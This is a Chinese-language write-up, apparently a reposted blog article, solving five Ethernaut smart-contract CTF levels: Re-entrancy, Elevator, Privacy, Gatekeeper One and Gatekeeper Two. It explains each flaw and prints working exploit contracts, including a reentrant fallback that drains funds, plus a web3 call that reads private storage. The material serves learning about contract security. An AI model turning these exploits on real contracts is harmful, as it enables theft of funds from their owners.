智能合約:Ethernaut題解(四)


Re-entrancy


目標:拿到合約裏面的全部資金
javascript


這個題老版本失敗!白往裏面放了那麼多錢!!!php

用新版本的成功了java


 
   
pragma solidity ^0.5.0;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }//捐贈 function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }//查看餘額 function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) {//提現金額要大於餘額 (bool result, bytes memory data) = msg.sender.call.value(_amount)(""); if(result) { _amount; }//提現 balances[msg.sender] -= _amount; }//可是這裏是完成交易以後再從帳戶裏面把提現的金額減去 } function() external payable {}}

由於他是提現完成以後才修改帳戶餘額的,可使用重入攻擊git

另外經常使用轉幣方式有三種,題目中用了第三種方法github

<address>.reansfer()web

發送失敗時會經過 throw 回滾狀態,只會傳遞 2300 個 gas 以供調用,從而防止重入微信

<address>.send()app

發送失敗時,返回布爾值 false,只會傳遞 2300 個 gas  以供調用,從而防止重入dom

<address>.gas().call.value()()ssh

當發送失敗時,返回布爾值 false 將傳遞全部可用的 gas 進行調用(可經過 gas(gas _value) 進行限制),不能有效防止重入攻擊


用的是這個腳本:


 
   
pragma solidity ^0.6.4;import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result, bytes memory data) = msg.sender.call.value(_amount)(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } fallback() external payable {}}contract Reenter { Reentrance reentranceContract; uint public amount = 1 ether; //withdrawal amount  constructor(address payable reentranceContactAddress) public payable { reentranceContract = Reentrance(reentranceContactAddress); }function initiateAttack() public { reentranceContract.donate{value:amount}(address(this)); //首先,須要捐贈一些錢 reentranceContract.withdraw(amount); //而後調用合約的withdraw函數提現 } fallback() external payable { if (address(reentranceContract).balance >= 0 ) { reentranceContract.withdraw(amount); }//由於咱們接受以太幣的時候也會調用咱們的回退函數 //而咱們的回退函數中又一次調用了題目合約的withdraw函數 }}

部署的時候給他 1 ether,而後使用 initiateAttack 就能夠啦




執行後




Elevator


目標:成爲 top,讓變量 top 變爲 true

代碼:

 
   
pragma solidity ^0.4.18;interface Building { function isLastFloor(uint) view public returns (bool);}//定義了一個接口,這個函數返回你是否是在最頂層contract Elevator { bool public top;//布爾型變量,是不是top,默認false uint public floor;//樓層 function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) {//若是不是最頂層的話就進入if floor = _floor;//拿到你的_floor top = building.isLastFloor(floor);//讓top等於判斷結果,因此仍是false }//可是若是你是top的話,沒有改top的機會,因此仍是false }}

題目聲明瞭 Building 接口中的那個 isLastFloor 函數,咱們能夠本身編寫

只要讓他反轉兩次就能夠啦


exp:

 
   
pragma solidity ^0.4.18;interface Building { function isLastFloor(uint) view public returns (bool);}contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }}contract BuildingEXP{ Elevator ele; bool toop = true;//一開始定義爲true function isLastFloor(uint) view public returns (bool) { toop = !toop;//在if那個地方要爲false進入 //在top那個地方再次反轉爲false,這樣就能保證top一直都是true啦 return toop; } function attack(address _addr) public{ ele = Elevator(_addr); ele.goTo(5); }}

部署 hack 合約,而後執行 exploit 函數,就能夠了,能夠用 flag 查看一下

也能夠在控制檯查看 await contract.top()





Privacy


目標:解鎖須要一個 key,而這個 key 是 data[2] 是 private 的

在區塊鏈上面沒有私密的東西,都是公開的,只要找到就能過關


 
   
pragma solidity ^0.4.18;contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */}

evm 每次處理32個字節,不足 32 字節的變量相互共享並補齊 32 字節

那麼咱們簡單分析下題目中的變量:

bool public locked = true;  //1 字節 01

uint256 public constant ID = block.timestamp; //32 字節 常量 不寫入存儲

uint8 private flattening = 10; //1 字節 0a

uint8 private denomination = 255;//1 字節 ff

uint16 private awkwardness = uint16(now);//2 字節

bytes32[3] private data;


第一個32 字節就是由locked、flattening、denomination、awkwardness組成,另外因爲常量 constant 是無需存儲的,因此從第二個32 字節開始就是 data。前幾個合起來是第一個 32,data[0] 是第二個 32,data[1] 是第三個 32,因此咱們的是第四個

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})



這個臉,好詭異



Gatekeeper One


目標:繞過三個 gate 來執行 enter 函數


 
   
pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _;//能夠部署一箇中間合約來調用繞過 } modifier gateTwo() { require(msg.gas.mod(8191) == 0); _;//gas要知足8191取餘爲0 } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _;//這個後文中詳細說說 } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}

調試看看,首先部署一個原來的



而後複製部署的合約地址,部署咱們測試的攻擊合約(咱們要先部署一個能夠打通的來繞過第一個關卡,方便調試看看第二個怎麼弄)


 
   
pragma solidity ^0.4.18;contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}contract MyAgent { GatekeeperOne c;  function MyAgent(address _c) { c = GatekeeperOne(_c); } function exploit() { bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff; c.enter.gas(81910)(_gateKey); //c.enter.gas(81910-81697+81910+2)(_gateKey); //註釋的是正確的,可是先調試看看 }}


而後點擊 exploit,完成後選擇中間窗口的 debug



首先,由於咱們是使用另外一個合約調用的,因此第一個 gate 是能夠繞過的,而後咱們來看一下第二個關卡須要多少 gas


接下來的一步須要的 gas 是 2,msg.gas 就是 remaining gas,想要繞過這一關就須要讓 remaining gas % 8191 = 0。而在以前咱們寫入的值是 81910,如今的值是 81697,那麼以前總消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是說,若是咱們想要讓這一步結束以後 remaining gas % 8191 = 0 的話,或者說想要讓他執行完以後恰好是 81910 的話,就須要讓以前的值爲:213+2+81910。因此想要繞過第二個關卡的話,值應該是 213+2+81910



第三個關卡:

modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _;}

  • 先看最後一個判斷 tx.origin 是最初的調用者,就是咱們的帳戶,uint16 是最後 8 字節,要與 uint32 的 key 也就是最後 16 字節相等,因此 key 的最後 8 字節就是 tx.origin 的最後 8 字節

  • 同時若是第一個條件 uint32 的 key 要與 uint16 的 key 相等,因此 key 的 uint32 類型 16 字節前面的八個字節要全爲 0

  • 再看中間那個,key 的後 16 字節還不能和整個 32 字節相等,前面只要不是 0 就不會相等


綜上,key 若是是 0xFFFFFFFF0000FFFF & tx.origin 的話就正好能夠


Gatekeeper Two


目標與上一關相同

 
   
pragma solidity ^0.4.18;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } //用內聯彙編來獲取調用方caller的代碼大小 require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}

gate1:仍是要建一個合約用來間接調用

gate2:extcodesize 是用來獲取指定地址合約代碼大小的,這裏用內聯彙編的方式來獲取調用方 caller 的代碼大小。通常來講,當 caller 爲合約時,獲取的大小爲合約字節碼大小,caller 爲帳戶時,獲取的大小爲 0,可是這樣就不能知足第一個了。合約在初始化時代碼大小爲 0。因此咱們能夠把攻擊合約的調用操做寫在構造函數中

gate3:傳入一個八字節的 key,把 msg.sender 的 hash 計算出來與 uint64 類型的 key 異或,要等與 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要咱們先用 uint64(keccak256(msg.sender))0xFFFFFFFFFFFFFFFF 進行異或,這樣再次異或的時候就成了 0xFFFFFFFFFFFFFFFF,也就符合條件了

(優先級爲 – 大於 ^ 大於 ==)


exp:

 
   
pragma solidity ^0.4.18;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}contract attack{ function attack(address param){ GatekeeperTwo a =GatekeeperTwo(param); bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this))); a.enter(_gateKey); }}

把上面 exp 部署之後就能夠達到目的能夠提交啦


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索